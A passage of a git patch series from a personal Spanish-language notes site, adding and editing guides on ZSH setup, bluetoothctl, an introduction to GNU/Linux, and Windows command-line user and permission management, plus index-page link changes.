a/Linux/Linux.md b/Linux/Linux.md index 749c61e8ded..a6c43fa911a 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -9,4 +9,4 @@ Gran variedad de artículos basdos en el ecosistema Linux. ## Gestor de Comandos: -[ZSH](../Linux/ZSH.html) +[ZSH](../Linux/Introducción_a_Linux/ZSH.html) From 8b63f93e808d11aac1a5fcbdf1cb0f54d65508bc Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 18:56:03 +0200 Subject: [PATCH 0162/1701] Rename Aria2 to Aria2.md --- Linux/Programas_para_Linux/{Aria2 => Aria2.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Linux/Programas_para_Linux/{Aria2 => Aria2.md} (100%) diff --git a/Linux/Programas_para_Linux/Aria2 b/Linux/Programas_para_Linux/Aria2.md similarity index 100% rename from Linux/Programas_para_Linux/Aria2 rename to Linux/Programas_para_Linux/Aria2.md From a0bc7cf97ebf108346e4d0f309412e08626edf6f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 19:19:16 +0200 Subject: [PATCH 0163/1701] Update ZSH.md --- "Linux/Introducci\303\263n_a_Linux/ZSH.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/Linux/Introducci\303\263n_a_Linux/ZSH.md" "b/Linux/Introducci\303\263n_a_Linux/ZSH.md" index e0a740b1679..ee71432ae29 100644 --- "a/Linux/Introducci\303\263n_a_Linux/ZSH.md" +++ "b/Linux/Introducci\303\263n_a_Linux/ZSH.md" @@ -31,7 +31,7 @@ Para ello abrimos el archivo `.bashrc` con el siguiente comando: sudo nano ~/.bashrc -Una vez abierto el arhcivo `.bashrc` escribiremos 'exec zsh` en la parte superior del archivo. De esta manera se ejecutará el comando `zsh` +Una vez abierto el arhcivo `.bashrc` escribiremos `exec zsh` en la parte superior del archivo. De esta manera se ejecutará el comando `zsh` cada vez que se cargue la terminal. **Nota**: Se debe de terner mucho cuidado al realizar esta instalación y no realizarlo durante otros procesos ya que al realizar estos cambios From 0be78f71e010e812d0a595f64ba2f91a45c013be Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 19:21:10 +0200 Subject: [PATCH 0164/1701] Update ExtractPorts.md --- Herramientas_y_Scripts/ExtractPorts.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Herramientas_y_Scripts/ExtractPorts.md b/Herramientas_y_Scripts/ExtractPorts.md index 78f53f5f111..8edc4fdb304 100644 --- a/Herramientas_y_Scripts/ExtractPorts.md +++ b/Herramientas_y_Scripts/ExtractPorts.md @@ -15,7 +15,7 @@ Mediante `Cntrl + Shift + v` podremos pegar los puertos a la terminal automátic `Cntrl + Shift + v` : Para pegar los puertos a la terminal. - ## Instalación: +## Instalación: Para la instalación de esta herramienta previamente se recomienda tener instalado 'bat' que es una mejora del comando 'cat'. From ce70d96c7b05b3676218651183e704a44140c6c7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 19:29:47 +0200 Subject: [PATCH 0165/1701] Update Linux.md --- Linux/Linux.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Linux/Linux.md b/Linux/Linux.md index a6c43fa911a..86082d76096 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -1,3 +1,5 @@ +![Linux-matrix-banner-1200x288](https://user-images.githubusercontent.com/103068924/165993945-1e654b48-64c2-48b6-bd66-8e87763d9b50.jpg) + # Linux Gran variedad de artículos basdos en el ecosistema Linux. From 28a096e072fa16a854eae6ece40cd4426c53c755 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 19:31:22 +0200 Subject: [PATCH 0166/1701] Update Linux.md --- Linux/Linux.md | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index 86082d76096..723a36fd57c 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -1,14 +1,12 @@ ![Linux-matrix-banner-1200x288](https://user-images.githubusercontent.com/103068924/165993945-1e654b48-64c2-48b6-bd66-8e87763d9b50.jpg) -# Linux - Gran variedad de artículos basdos en el ecosistema Linux. -## Programas de Descargas: +# Programas de Descargas: ### Torrent: [Aria2](../Linux/Programas_para_Linux/Aria2.html) -## Gestor de Comandos: +# Gestor de Comandos: [ZSH](../Linux/Introducción_a_Linux/ZSH.html) From 135a682725cc74b1a7bb6802e19de336f934b162 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 19:34:06 +0200 Subject: [PATCH 0167/1701] Update HashId.md --- Herramientas_y_Scripts/HashId.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Herramientas_y_Scripts/HashId.md b/Herramientas_y_Scripts/HashId.md index dbfb60fb42d..9cdf6225744 100644 --- a/Herramientas_y_Scripts/HashId.md +++ b/Herramientas_y_Scripts/HashId.md @@ -1,4 +1,4 @@ -# HashID +![hashid-1](https://user-images.githubusercontent.com/103068924/165994553-734e3ab8-691b-4034-b396-34311e3f0f72.png) Hashid es una herramienbta que nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear ese hash a partir de una contraseña. From 72aeb0dfd40e7e5b43a694353a87db58dc28ead6 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 19:35:03 +0200 Subject: [PATCH 0168/1701] Update Linux.md --- Linux/Linux.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index 723a36fd57c..d0fc409d5ec 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -2,11 +2,11 @@ Gran variedad de artículos basdos en el ecosistema Linux. -# Programas de Descargas: +## Programas de Descargas: ### Torrent: [Aria2](../Linux/Programas_para_Linux/Aria2.html) -# Gestor de Comandos: +## Gestor de Comandos: [ZSH](../Linux/Introducción_a_Linux/ZSH.html) From 3547370ec9b6b1d025a8ba6e039c89713ebd3110 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 19:47:30 +0200 Subject: [PATCH 0169/1701] Create Bluetoothctl --- .../Introducci\303\263n_a_Linux/Bluetoothctl" | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 "Linux/Introducci\303\263n_a_Linux/Bluetoothctl" diff --git "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl" "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl" new file mode 100644 index 00000000000..ace0809db15 --- /dev/null +++ "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl" @@ -0,0 +1,28 @@ +# Administrados de bluetooth de Linux. + +Para poder abrir el gestor de bluetooth desde la terminal de Linux, utilizaremos el siguiente comando: + + bluetoothctl + +Para ver todos los comandos disponibles podemos ejecutar el siguiente comando o una vez dentro de la shell +de bluetoothctl escribir `help`: + + bluetoot help + +Para realizar una busqueda de los dispositivos: + + scan on + +Para detener la busqueda: + + scan off + +Para conectarnos con un dispositivo: + + connect [Núm MAC] + +El `número MAC` es el número que corresponde con el dispositivo que se nos muestra en el escaneo. + +Una vez conectados podemos salir de la shell simplemente escribiendo `exit`. + + From 6c1988c474c735efd4035a2fa353b0e0b98d9c7f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 19:49:49 +0200 Subject: [PATCH 0170/1701] Update Linux.md --- Linux/Linux.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Linux/Linux.md b/Linux/Linux.md index d0fc409d5ec..b1094be0266 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -2,6 +2,10 @@ Gran variedad de artículos basdos en el ecosistema Linux. +## Dispositivos: + +[Bluetoothctl](../Linux/Introducción_a_Linux/Bluetoothctl.html) + ## Programas de Descargas: ### Torrent: From 5d793623ce812fa3da7606e35b4801cdd1d5dd0b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 19:50:22 +0200 Subject: [PATCH 0171/1701] Rename Bluetoothctl to Bluetoothctl.md --- .../Introducci\303\263n_a_Linux/Bluetoothctl.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Linux/Introducci\303\263n_a_Linux/Bluetoothctl" => "Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" (100%) diff --git "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl" "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" similarity index 100% rename from "Linux/Introducci\303\263n_a_Linux/Bluetoothctl" rename to "Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" From 614f866a04ca6d0dcb7c33ddf6733b46dc53a2ca Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 19:53:06 +0200 Subject: [PATCH 0172/1701] Update Bluetoothctl.md --- "Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" index ace0809db15..b67feccaa2f 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" @@ -1,6 +1,6 @@ -# Administrados de bluetooth de Linux. +# Administrador de bluetooth de Linux. -Para poder abrir el gestor de bluetooth desde la terminal de Linux, utilizaremos el siguiente comando: +Para poder abrir el gestor de bluetooth desde la terminal de Linux, utilizaremos el siguiente comando: bluetoothctl @@ -9,17 +9,17 @@ de bluetoothctl escribir `help`: bluetoot help -Para realizar una busqueda de los dispositivos: +Para realizar una búsqueda de los dispositivos: scan on -Para detener la busqueda: +Para detener la búsqueda: scan off Para conectarnos con un dispositivo: - connect [Núm MAC] + connect [Núm. MAC] El `número MAC` es el número que corresponde con el dispositivo que se nos muestra en el escaneo. From 462813d797b9ff2ecf266667117481f3d32b3b82 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 19:53:26 +0200 Subject: [PATCH 0173/1701] Update Bluetoothctl.md --- "Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" index b67feccaa2f..e0d71d95c7d 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" @@ -1,4 +1,4 @@ -# Administrador de bluetooth de Linux. +# Administrador Bluetooth de Linux. Para poder abrir el gestor de bluetooth desde la terminal de Linux, utilizaremos el siguiente comando: From 8b86d1fc1e4379a5fe3db61721235d99a3c428ce Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 1 May 2022 01:09:21 +0200 Subject: [PATCH 0174/1701] =?UTF-8?q?Update=20Introducci=C3=B3n=5Fa=5FLinu?= =?UTF-8?q?x.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Introducci\303\263n_a_Linux.md" | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git "a/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" "b/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" index 8b137891791..241846bfedc 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" @@ -1 +1,38 @@ +# Introducción a Linux +##¿Qué es Linux? + +GNU/Linux es un sistema operativo (o una familia +de sistemas operativos) tipo Unix compuesto por +software libre y de código abierto. + +GNU/Linux surge de las contribuciones de varios proyectos +de software, entre los cuales destacan GNU +(iniciado por Richard Stallman en 1983) y el +kernel «Linux» (iniciado por Linus Torvalds +en 1991). + +«Linux» es solo el nombre del kernel o +núcleo, ya que el sistema completo está +formado también por una gran cantidad de +componentes del proyecto GNU junto a componentes +de terceros, que van desde compiladores +hasta entornos de escritorio. + +​Cabe señalar que existen derivados que usan el +núcleo Linux pero que no tienen componentes +GNU, como por ejemplo el sistema operativo Android. +También existen distribuciones de software GNU +donde el núcleo Linux está ausente. + +Los sistemas operativos GNU/Linux se encuentran +normalmente en forma de compendios conocidos como +distribuciones o distros. Entre las más populares +se encuentran Debian, Ubuntu, Red Hat y SUSE. + +El propósito de estas distribuciones es +ofrecer GNU/Linux como un producto final para +instalar o probar en un ordenador, cubriendo +una gama de necesidades que van desde el uso +cotidiano personal hasta aplicaciones muy +específicas en ambientes especializados. From 50220dfac073b9a061af682e8993234a2e2e46e7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 1 May 2022 01:13:24 +0200 Subject: [PATCH 0175/1701] Update Linux.md --- Linux/Linux.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Linux/Linux.md b/Linux/Linux.md index b1094be0266..00216abac7a 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -2,6 +2,10 @@ Gran variedad de artículos basdos en el ecosistema Linux. +## Introducción a Linux: + +[¿Qué es Linux?](../Linux/Introducción_a_Limux.html) + ## Dispositivos: [Bluetoothctl](../Linux/Introducción_a_Linux/Bluetoothctl.html) From d820a350b13c5f214ce8d388a2c41ac0c517b2f3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 1 May 2022 01:15:04 +0200 Subject: [PATCH 0176/1701] Update Linux.md --- Linux/Linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index 00216abac7a..a294fa3d55b 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -4,7 +4,7 @@ Gran variedad de artículos basdos en el ecosistema Linux. ## Introducción a Linux: -[¿Qué es Linux?](../Linux/Introducción_a_Limux.html) +[¿Qué es Linux?](../Linux/Introducción_a_Limux/Introducción_a_Limux.html) ## Dispositivos: From a7bd09ce8b07c1d54952fc9877fba983afe1c671 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 1 May 2022 01:16:09 +0200 Subject: [PATCH 0177/1701] Update Linux.md --- Linux/Linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index a294fa3d55b..bd4fc4d577d 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -4,7 +4,7 @@ Gran variedad de artículos basdos en el ecosistema Linux. ## Introducción a Linux: -[¿Qué es Linux?](../Linux/Introducción_a_Limux/Introducción_a_Limux.html) +[¿Qué es Linux?](../Linux/Introducción_a_Linux/Introducción_a_Linux.html) ## Dispositivos: From 07cbdcf4886661da4138d9e0a176ad77053d4cf4 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 1 May 2022 01:18:13 +0200 Subject: [PATCH 0178/1701] =?UTF-8?q?Update=20Introducci=C3=B3n=5Fa=5FLinu?= =?UTF-8?q?x.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" "b/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" index 241846bfedc..46c869a8d16 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" @@ -1,6 +1,6 @@ # Introducción a Linux -##¿Qué es Linux? +## ¿Qué es Linux? GNU/Linux es un sistema operativo (o una familia de sistemas operativos) tipo Unix compuesto por From 24ae73ccd8193e9b1d06e179947872c411af8b12 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 1 May 2022 13:51:59 +0200 Subject: [PATCH 0179/1701] Update Bluetoothctl.md --- .../Bluetoothctl.md" | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" index e0d71d95c7d..600621b87e3 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" @@ -1,18 +1,36 @@ +![Snoop-on-Bluetooth-Devices-Using-Kali-Linux-Tutorial-1200x1200](https://user-images.githubusercontent.com/103068924/166144285-23e8c170-fb23-48b5-8e1c-28789962e43f.jpg) + # Administrador Bluetooth de Linux. Para poder abrir el gestor de bluetooth desde la terminal de Linux, utilizaremos el siguiente comando: bluetoothctl +![Captura de pantalla -2022-05-01 13-33-44](https://user-images.githubusercontent.com/103068924/166144293-751d6490-cb12-48af-bffe-a258dbf4b8a3.png) + +![Captura de pantalla -2022-05-01 13-34-37](https://user-images.githubusercontent.com/103068924/166144302-ded1cb19-2fe8-40c8-8605-054d7662ef4e.png) + Para ver todos los comandos disponibles podemos ejecutar el siguiente comando o una vez dentro de la shell de bluetoothctl escribir `help`: bluetoot help + +![Captura de pantalla -2022-05-01 13-35-26](https://user-images.githubusercontent.com/103068924/166144307-4459feee-09cc-4493-af0e-1844e7393329.png) + +![Captura de pantalla -2022-05-01 13-35-57](https://user-images.githubusercontent.com/103068924/166144311-5f84a69f-eead-489c-bb4c-6f160451375b.png) + +Para poder ver las epecificaciones de nuestro administrador Bluetooth: + + show + ![Captura de pantalla -2022-05-01 13-45-24](https://user-images.githubusercontent.com/103068924/166144368-c6eabdca-5f32-44aa-90b1-36eb7d25175d.png) + Para realizar una búsqueda de los dispositivos: scan on +![Captura de pantalla -2022-05-01 13-50-29](https://user-images.githubusercontent.com/103068924/166144508-d2f2a074-ff6a-4aaf-bdc1-12a4f6dd0483.png) + Para detener la búsqueda: scan off From bbe94531049a05cc48e8af9aabb2ce7cd85fa73d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 1 May 2022 13:57:57 +0200 Subject: [PATCH 0180/1701] Update ZSH.md --- "Linux/Introducci\303\263n_a_Linux/ZSH.md" | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git "a/Linux/Introducci\303\263n_a_Linux/ZSH.md" "b/Linux/Introducci\303\263n_a_Linux/ZSH.md" index ee71432ae29..203865e252b 100644 --- "a/Linux/Introducci\303\263n_a_Linux/ZSH.md" +++ "b/Linux/Introducci\303\263n_a_Linux/ZSH.md" @@ -1,4 +1,6 @@ -# ZSH +![zsh](https://user-images.githubusercontent.com/103068924/166144730-96ded5b4-0042-4452-a281-d93b804ec151.png) + +# ¿Qué es ZSH? ZSH es un poderoso interprete de comandos para sistemas Unix. Construido sobre el popular shell bash. Es, gratuito, de código abierto y se actualiza periodicamente. @@ -24,7 +26,7 @@ Luego iniciamos la instalación: Para ejecutar ZSH de forma automatica cada vez que iniciemos sesión y establecerla podemos hacerlo de dos maneras. La primera es ejecutando el siguiente comando: - chsh -s $(wich zsh) + sudo chsh -s $(wich zsh) Una vez hecho esto, reiniciamos el sistema y comprobamos que funcione. En caso de no funcionar, tendremos que hacerlo de forma manual. Para ello abrimos el archivo `.bashrc` con el siguiente comando: From c968f312684f7be97cacde321ad0f6bfdabd590a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 08:42:40 +0200 Subject: [PATCH 0181/1701] Create Administrar_Usuarios_y_Permisos --- Windows/Administrar_Usuarios_y_Permisos | 69 +++++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 Windows/Administrar_Usuarios_y_Permisos diff --git a/Windows/Administrar_Usuarios_y_Permisos b/Windows/Administrar_Usuarios_y_Permisos new file mode 100644 index 00000000000..3f37b2b7711 --- /dev/null +++ b/Windows/Administrar_Usuarios_y_Permisos @@ -0,0 +1,69 @@ +# Administrar Usuarios y Permisos Windows + +En este artículo se muestra como crear o eliminar usuarios y administrar permisos de usuarios desde la shell de Windows. + +## Abrir la Terminal: + +Para abrir la terminal en Windows podemos escribir en el buscador `cmd` o presionar `Tecla Windows + R` y luego escribimos `cmd` o `símbolo del sistema`. +Lo ideal para no tener problemas, es abrir la Terminal como Administrador, para ello la buscamos mediante el buscador y escribimos `cmd`, luego presionamos +clic Derecho y `Abrir como Administrador`. + +## Listar Usuarios: +Mediante este comando podremos ver todos los usuarios registrados en el sistema: + + net user + +## Crear un Nuevo Usuario: +Para crear un Usuario Nuevo sin permisos de Administrador podemos utilizar los siguientes comandos. Debemos tener en cuenta que el Usuario creado no +tendrá contraseña y que tenemos que definirla nosotros una vez creado. + + net user 'nombre de usuario' /add + +Otro comando para crear un Usuario es el siguiente: + + adduser 'nombre de usuario' + +## Establecer Contraseña a un Usuario: + +Una vez tenemos el Usuario creado, vamos a establecer una contraseña. Para ello introducimos el siguiente comando y se nos desplegará en la terminal la +opción de introducir una contraseña. + + net user 'nombre usuario' * + +En caso de querer eliminar la contraseña, simplemente usamos el mismo comando, pero en este caso en vez de introducir una contraseña nueva, solo +pulsamos dos veces `Enter` dejando los parámetros en blanco. + +## Ver Permisos: +Mediante el siguiente comando podremos ver que tipo de permisos le podemos dar a cada usuario. La lista que muesta el siguiente comando, muestra todos +los permisos. + + net localgroup + +## Dar Permisos a un Usuario: +Para poder dar permisos a un Usuario, como por ejemplo como `Administrador`, realizamos lo siguiente: + + net localgroup administrador 'nombre de usuario' /add + + En caso de desear otro tipo de permiso, simplemente cambiamos `administrador` por el permiso que le queramos dar. + + ## Eliminar Permisos a un Usuario: + La sintaxis es casi igual que para dar permisos, solo cambiamos la variable final por `/delete`: + + net localgroup administrador 'nombre de usuario' /delete + + ## Eliminar Usuarios: + + net user 'nombre de usuario' /delete + + ## Habilitar cuenta de Administrador Oculta: + Este comando activa o habilita la cuenta de administrador oculta del sistema Windows. Esto se utiliza normalmente cuando no tenemos permisos de + administrador, y por tanto, no podemos realizar cambios: + + net user administrador /active:yes + +Para comprobar que estamos utilizando el nombre correcto del permiso (en este caso `administrador`), podemos revisarlo mediante el comando mencionado +anteriormente `net localgroup`. + +Para desactivar la cuenta de administrador oculta: + + net user administrador /active:no From c22673671bc3767879d0191af9e5e5dc1c40d07c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 08:45:22 +0200 Subject: [PATCH 0182/1701] Create Windows.md --- Windows/Windows.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 Windows/Windows.md diff --git a/Windows/Windows.md b/Windows/Windows.md new file mode 100644 index 00000000000..53c3665aad7 --- /dev/null +++ b/Windows/Windows.md @@ -0,0 +1,3 @@ +# Terminal de Windows + +[Administrar Usuarios y Permisos](../Windows/Administrar_Usuarios_y_Permisos.html) From 21898c4cf6ebee330b8ba636db9f78e0a1298a89 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 08:45:39 +0200 Subject: [PATCH 0183/1701] Rename Administrar_Usuarios_y_Permisos to Administrar_Usuarios_y_Permisos.md --- ...rar_Usuarios_y_Permisos => Administrar_Usuarios_y_Permisos.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Windows/{Administrar_Usuarios_y_Permisos => Administrar_Usuarios_y_Permisos.md} (100%) diff --git a/Windows/Administrar_Usuarios_y_Permisos b/Windows/Administrar_Usuarios_y_Permisos.md similarity index 100% rename from Windows/Administrar_Usuarios_y_Permisos rename to Windows/Administrar_Usuarios_y_Permisos.md From de19ce79ea77949c72acfe1b37b02f73b044fa08 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 08:47:00 +0200 Subject: [PATCH 0184/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index f1c9902b0a8..e0af81c46f0 100644 --- a/index.md +++ b/index.md @@ -13,6 +13,8 @@ [Linux](./Linux/Linux.html) +[Windows](./Windows/Windows.html) + [Fase de Reconocimiento - HTB](./Artículos/Fase_de_reconocimiento-HTB.html) [¿Como conectarse a Htb?](./Artículos/Como_conectarse_a_HTB.html) From 0230b578ee1e65f4836b10e56b650af8892ff301 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 08:52:14 +0200 Subject: [PATCH 0185/1701] =?UTF-8?q?Create=20Art=C3=ADculos-HTB.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- "Art\303\255culos/Art\303\255culos-HTB.md" | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 "Art\303\255culos/Art\303\255culos-HTB.md" diff --git "a/Art\303\255culos/Art\303\255culos-HTB.md" "b/Art\303\255culos/Art\303\255culos-HTB.md" new file mode 100644 index 00000000000..db437118b97 --- /dev/null +++ "b/Art\303\255culos/Art\303\255culos-HTB.md" @@ -0,0 +1,5 @@ +# Artículos sobre Hack The Box + +[Fase de Reconocimiento - HTB](../Artículos/Fase_de_reconocimiento-HTB.html) + +[¿Como conectarse a Htb?](../Artículos/Como_conectarse_a_HTB.html) From f220401b9751859eec435b31701debd63d71f47d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 08:53:13 +0200 Subject: [PATCH 0186/1701] Update index.md --- index.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/index.md b/index.md index e0af81c46f0..3d3fd490c15 100644 --- a/index.md +++ b/index.md @@ -15,9 +15,7 @@ [Windows](./Windows/Windows.html) -[Fase de Reconocimiento - HTB](./Artículos/Fase_de_reconocimiento-HTB.html) - -[¿Como conectarse a Htb?](./Artículos/Como_conectarse_a_HTB.html) +[Hack The Box](./Artículos/Artículos-HTB.html) --- From 9fe699b0215206916f7e1ccda69ce6067a2cb125 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 09:09:01 +0200 Subject: [PATCH 0187/1701] Update Linux.md --- Linux/Linux.md | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index bd4fc4d577d..6911468ad7f 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -1,20 +1,28 @@ ![Linux-matrix-banner-1200x288](https://user-images.githubusercontent.com/103068924/165993945-1e654b48-64c2-48b6-bd66-8e87763d9b50.jpg) -Gran variedad de artículos basdos en el ecosistema Linux. +Aquí podéis encontrar gran variedad de artículos basados en el ecosistema Linux. Se muestra tanta información básica de Linux, instalación y ejecución +de dispositivos, gestores y administradores de terminales, etc. En mi caso estoy utilizando ParrotOS que es un sistema operativo basado en Debian. -## Introducción a Linux: +# Introducción a Linux: [¿Qué es Linux?](../Linux/Introducción_a_Linux/Introducción_a_Linux.html) -## Dispositivos: +# Dispositivos: [Bluetoothctl](../Linux/Introducción_a_Linux/Bluetoothctl.html) -## Programas de Descargas: +# Programas de Descargas: +Estos son distintos programas de Descarga de archivos para diferentes plataformas y archivos. + ### Torrent: +Para descargar archivos Torrent desde la terminal. [Aria2](../Linux/Programas_para_Linux/Aria2.html) -## Gestor de Comandos: +### Youtube: + +[Youtube-dl](../Linux/Programas_para_Linux/Youtube-dl.html) + +# Gestor de Comandos: [ZSH](../Linux/Introducción_a_Linux/ZSH.html) From e0fcddcff38f063d573f29b68e045a21e39a3b66 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 09:11:20 +0200 Subject: [PATCH 0188/1701] Update Linux.md --- Linux/Linux.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index 6911468ad7f..8d2cc8b3a9b 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -14,12 +14,13 @@ de dispositivos, gestores y administradores de terminales, etc. En mi caso estoy # Programas de Descargas: Estos son distintos programas de Descarga de archivos para diferentes plataformas y archivos. -### Torrent: -Para descargar archivos Torrent desde la terminal. +### Torrent +Para descargar archivos Torrent desde la Terminal. [Aria2](../Linux/Programas_para_Linux/Aria2.html) -### Youtube: +### Youtube +Para descargar tanto vídeos como audio de Youtube desde la Terminal. [Youtube-dl](../Linux/Programas_para_Linux/Youtube-dl.html) From 74937c6ebad872314da07a91be5aea55c5017163 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 09:22:41 +0200 Subject: 